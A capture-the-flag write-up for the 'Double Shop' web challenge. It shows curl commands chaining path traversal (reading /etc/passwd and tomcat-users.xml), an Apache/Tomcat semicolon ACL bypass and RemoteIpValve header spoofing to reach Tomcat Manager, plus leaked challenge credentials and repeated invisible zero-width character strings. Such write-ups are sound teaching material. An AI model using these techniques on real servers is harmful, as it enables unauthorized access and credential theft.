Double Shop

Platform: Srdnlen | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-28 | Status: Solved Techniques: apache_tomcat_semicolon_path_confusion, path_traversal_via_receipt_endpoint, remoteipvalve_ip_spoofing, reverse_proxy_acl_bypass, tomcat_manager_access_bypass

Summary

Task: Web challenge with Apache reverse proxy fronting Tomcat. Solution: Chained 3 misconfigurations — path traversal to leak credentials, semicolon path confusion to bypass Apache ACL, and RemoteIpValve IP spoofing to access Tomcat Manager.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: srdnlen | ID: 20260228_srdnlen_doubleshop
• Tags: path_traversal, credential_leak, apache, ip_spoofing, tomcat, reverse_proxy, path_confusion, remoteipvalve, tomcat_manager, jsp
• Indicators: Apache reverse proxy fronting Tomcat (JSP backend), 403 on /manager but different behavior with semicolon in URL, JSP endpoints with file read/write functionality, Receipt/log file read endpoint with user-controlled path, Challenge name hints at 'double' — dual server architecture
• Source: 20260228_srdnlen_doubleshop.md

Foothold

Vulnerability / Misconfiguration

1. Apache_tomcat_semicolon_path_confusion
2. Path_traversal_via_receipt_endpoint
3. Remoteipvalve_ip_spoofing
4. Reverse_proxy_acl_bypass
5. Tomcat_manager_access_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• apache_tomcat_semicolon_path_confusion
• path_traversal_via_receipt_endpoint
• remoteipvalve_ip_spoofing
• reverse_proxy_acl_bypass
• tomcat_manager_access_bypass
• Tags: path_traversal, credential_leak, apache, ip_spoofing, tomcat, reverse_proxy, path_confusion, remoteipvalve, tomcat_manager, jsp

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Welcome to the Double Shop!

Kety & Tom have finally launched their new vending system, but the selection is... underwhelming. With only a few snacks and drinks available, the shelves feel empty.

If you want to suggest new products or expand the inventory, you'll need to speak directly with the Manager. However, he is a peculiar character and notoriously hard to reach. He is known for playing double games and hiding behind a system that isn't always what it seems. Many have tried to knock on his door, only to be turned away without explanation. He enjoys the ambiguity of his own rules.

The question is... can you reach him? ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Target: http://doubleshop.challs.srdnlen.it

Analysis

1. Reconnaissance

Architecture: Apache/2.4.58 (Unix) as reverse proxy in front of Apache Tomcat (JSP backend).

The application is a vending machine with products (Cola, Chips, Water), a wallet system, and receipt generation.

Discovered endpoints:

2. Key Findings

vendor.js contained a hex-encoded string:

\x2f\x61\x70\x69\x2f\x72\x65\x63\x65\x69\x70\x74\x2e\x6a\x73\x70\x3f\x69\x64\x3d

Decodes to: /api/receipt.jsp?id=

checkout.jsp writes user-controlled content (session ID + items JSON) to .log files on disk. receipt.jsp reads these files back — a classic file read primitive.

CSS trick: receipt.jsp had a style color:#111;background:#111, making text invisible (same color as background) — a red herring or protection against casual viewing. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Dual architecture: request to /api/manager returned 403 from Apache, but /api/manager;.jsp returned 302 from Tomcat — confirming Apache+Tomcat with path parsing differences.

Solution

Chain of 3 Exploitable Misconfigurations

Step 1 — Path Traversal in receipt.jsp

The id parameter in /api/receipt.jsp?id= is vulnerable to directory traversal via ../../:

# Read /etc/passwd to confirm vulnerability
curl -s "http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../../../../../etc/passwd"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Read Tomcat configuration — credential leak
curl -s "http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../conf/tomcat-users.xml"

Credentials obtained from tomcat-users.xml:

• Username: adm1n
• Password: 317014774e3e85626bd2fa9c5046142c

# Read server.xml — discover RemoteIpValve misconfiguration
curl -s "http://doubleshop.challs.srdnlen.it/api/receipt.jsp?id=../../conf/server.xml"

Critical RemoteIpValve misconfiguration discovered in server.xml:

• internalProxies=".*" — trusts ALL IP addresses as legitimate proxies (should be restricted to actual proxy IPs)
• remoteIpHeader="X-Access-Manager" — uses non-standard header instead of typical X-Forwarded-For ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2 — Apache/Tomcat Path Confusion (semicolon trick)

The URL /api/manager;.jsp exploits a classic path normalization discrepancy between Apache and Tomcat:

• Apache sees the URL as a request for a .jsp file and proxies it to Tomcat (doesn't match the blocking rule for /api/manager)
• Tomcat treats ; as a path parameter delimiter, discards .jsp as a parameter, and routes the request to the /manager web application

This is a well-known technique for bypassing reverse proxy access controls in Apache+Tomcat setups. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Apache blocks direct access
curl -s -o /dev/null -w "%{http_code}" "http://doubleshop.challs.srdnlen.it/api/manager"
# → 403

# Semicolon trick bypasses Apache, request reaches Tomcat
curl -s -o /dev/null -w "%{http_code}" "http://doubleshop.challs.srdnlen.it/api/manager;.jsp"
# → 302 (Tomcat responds!)

Step 3 — RemoteIpValve IP Spoofing

Sending the header X-Access-Manager: 127.0.0.1 causes Tomcat's RemoteIpValve to replace the real remote IP with 127.0.0.1. This tricks RemoteAddrValve (which restricts Manager access to localhost only) into believing the request came from the local machine. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4 — Final Exploit: All 3 Bypasses Combined

curl -u "adm1n:317014774e3e85626bd2fa9c5046142c" \
     -H "X-Access-Manager: 127.0.0.1" \
     "http://doubleshop.challs.srdnlen.it/api/manager;.jsp/html"

The combination:

1. Path confusion (/api/manager;.jsp/html) — bypasses Apache ACL, accesses Tomcat Manager
2. IP spoofing (X-Access-Manager: 127.0.0.1) — bypasses RemoteAddrValve (localhost restriction)
3. Leaked credentials (adm1n:317014774e3e85626bd2fa9c5046142c) — authenticates to Manager ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In the Tomcat Manager HTML interface, the flag was deployed as a web application with context path:

/srdnlen{REDACTED}

Why "Double"?

The name "Double Shop" and the description about "double games" and "a system that isn't always what it seems" — all point to the dual Apache+Tomcat architecture, where two servers interpret URLs differently, creating exploitable gaps. The "double misconfiguration" theme runs throughout the challenge:

• Path confusion between two servers
• A Valve that trusts everyone
• Credentials hidden in plain sight ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR